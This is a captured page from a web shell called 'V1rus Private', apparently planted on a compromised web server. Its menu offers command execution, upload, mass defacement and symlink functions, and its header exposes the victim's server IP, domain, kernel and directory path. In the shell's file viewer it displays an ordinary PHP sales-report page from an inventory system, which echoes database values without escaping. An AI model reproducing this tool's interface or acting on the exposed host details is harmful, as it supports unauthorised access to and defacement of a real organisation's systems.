V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home9
/
aerosoft
/
www
/
InventorySystem
/
Viewing: test_sales_data.php
<?php $page_title = 'Test Sales Data'; require_once('includes/load.php'); page_require_level(3); ?> <?php // Get all sales data to check what's available $sales_sql = "SELECT s.id, p.name as product_name, s.qty as quantity, s.price as total_amount, DATE(s.date) as sale_date, s.date as full_date FROM sales s JOIN products p ON s.product_id = p.id ORDER BY s.date DESC LIMIT 50"; $all_sales = find_by_sql($sales_sql); // Get available dates $dates_sql = "SELECT DISTINCT DATE(date) as sale_date FROM sales ORDER BY sale_date DESC LIMIT 10"; $available_dates = find_by_sql($dates_sql); ?> <?php include_once('layouts/header.php'); ?> <div class="row"> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading clearfix"> <strong> <span class="glyphicon glyphicon-th"></span> <span>Sales Data Check</span> </strong> </div> <div class="panel-body"> <!-- Available Dates --> <div class="row"> <div class="col-md-12"> <div class="alert alert-info"> <h4>Available Sales Dates</h4> <?php if(!empty($available_dates)): ?> <ul> <?php foreach($available_dates as $date_row): ?> <li> <a href="daily_transactions.php?date=<?php echo $date_row['sale_date']; ?>"> <?php echo $date_row['sale_date']; ?> </a> </li> <?php endforeach; ?> </ul> <?php else: ?> <p>No sales dates found in the database.</p> <?php endif; ?> </div> </div> </div> <!-- Recent Sales --> <div class="row"> <div class="col-md-12"> <h4>Recent Sales (Last 50)</h4> <table class="table table-bordered table-striped"> <thead> <tr> <th>ID</th> <th>Product</th> <th>Qty</th> <th>Amount</th> <th>Date</th> <th>Full DateTime</th> </tr> </thead> <tbody> <?php if(!empty($all_sales)): ?> <?php foreach($all_sales as $sale): ?> <tr> <td><?php echo $sale['id']; ?></td> <td><?php echo $sale['product_name']; ?></td> <td><?php echo $sale['quantity']; ?></td> <td>₹<?php echo number_format($sale['total_amount'], 2); ?></td> <td><?php echo $sale['sale_date']; ?></td> <td><?php echo $sale['full_date']; ?></td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="6" class="text-center">No sales data found in the system.</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> <!-- Check Database Structure --> <div class="row"> <div class="col-md-12"> <div class="alert alert-warning"> <h4>Database Check</h4> <?php // Check if sales table has data $sales_count_sql = "SELECT COUNT(*) as total_sales FROM sales"; $sales_count = find_by_sql($sales_count_sql); $total_sales = $sales_count[0]['total_sales']; // Check if products table has data $products_count_sql = "SELECT COUNT(*) as total_products FROM products"; $products_count = find_by_sql($products_count_sql); $total_products = $products_count[0]['total_products']; ?> <p><strong>Total Sales Records:</strong> <?php echo $total_sales; ?></p> <p><strong>Total Products:</strong> <?php echo $total_products; ?></p> <p><strong>Current Date for Testing:</strong> <a href="daily_transactions.php?date=<?php echo date('Y-m-d'); ?>"> <?php echo date('Y-m-d'); ?> </a> </p> </div> </div> </div> </div> </div> </div> </div> <?php include_once('layouts/footer.php'); ?>
Coded With 💗 by
HanzOFC